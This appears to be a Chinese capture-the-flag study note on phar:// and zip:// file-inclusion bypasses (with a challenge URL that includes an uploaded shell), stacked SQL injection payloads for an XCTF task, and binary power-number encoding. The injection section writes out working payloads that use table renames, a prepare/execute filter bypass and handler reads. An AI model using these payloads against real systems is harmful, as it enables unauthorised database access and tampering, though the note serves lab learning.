zip, phar协议(文件上传和文件包含漏洞)| SQL注入:堆叠注入 | 幂数加密
2022_04_01
一、文件上传和文件包含漏洞
白名单,如果能上传zip类型的,可以使用phar,zip协议。
PHAR://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
121.36.94.248:8370/?bingdundun=phar://7fc4a1eb4233c2147c76bb7aa5efe554.zip/shell
二、SQL注入:堆叠注入
题目:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
1';--+
-1' union select 1,database();--+
-1';show databases;--+
-1';show tables;--+
-1';show columns from words1;--+
-1';show columns from `1919810931114514`;--+ //注意反引号
如何去取出flag?
1.前提,没有对alert,rename过滤
已知默认查询的表为words,可以将原本words改名,将1919810931114514表改为words。
这样,就可以直接得到flag值
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
拆开:
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
2.预编译
例如:
我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句
mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
我们通过 EXECUTE stmt_name [USING @var_name [, @var_name] ...]的语法来执行预编译语句
mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)
mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> select * from t;
+------+-------+
| a | b |
+------+-------+
| 999 | hello |
+------+-------+
1 row in set (0.00 sec)
可以看到,数据已经被成功插入表中。
payload:
1';sEt @sql=concat('sele','ct * from `1919810931114514`;');prEpare ins from @sql;execute ins;#
3.handler
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+
三、幂数加密
二进制幂数加密是什么?
二进制幂数加密通过二进制的几次方表示字母的序号来对信息加密。由二进制转换成十进制的时候,还可以表示成2的N次方的形式。
例如:15=20+21+22+23
因此我们称这种加密方法为“二进制”的幂数加密。
对于明文: d o n o t p u l l a l l y o u r e g g s i n o n e b a s k e t
它们的字母序号分别是:4 15 14 15 20 16 21 12 12 1 12 12 25 15 21 18 5 7 7 19 9 14 15 14 5 2 1 19 11 5 20


浙公网安备 33010602011771号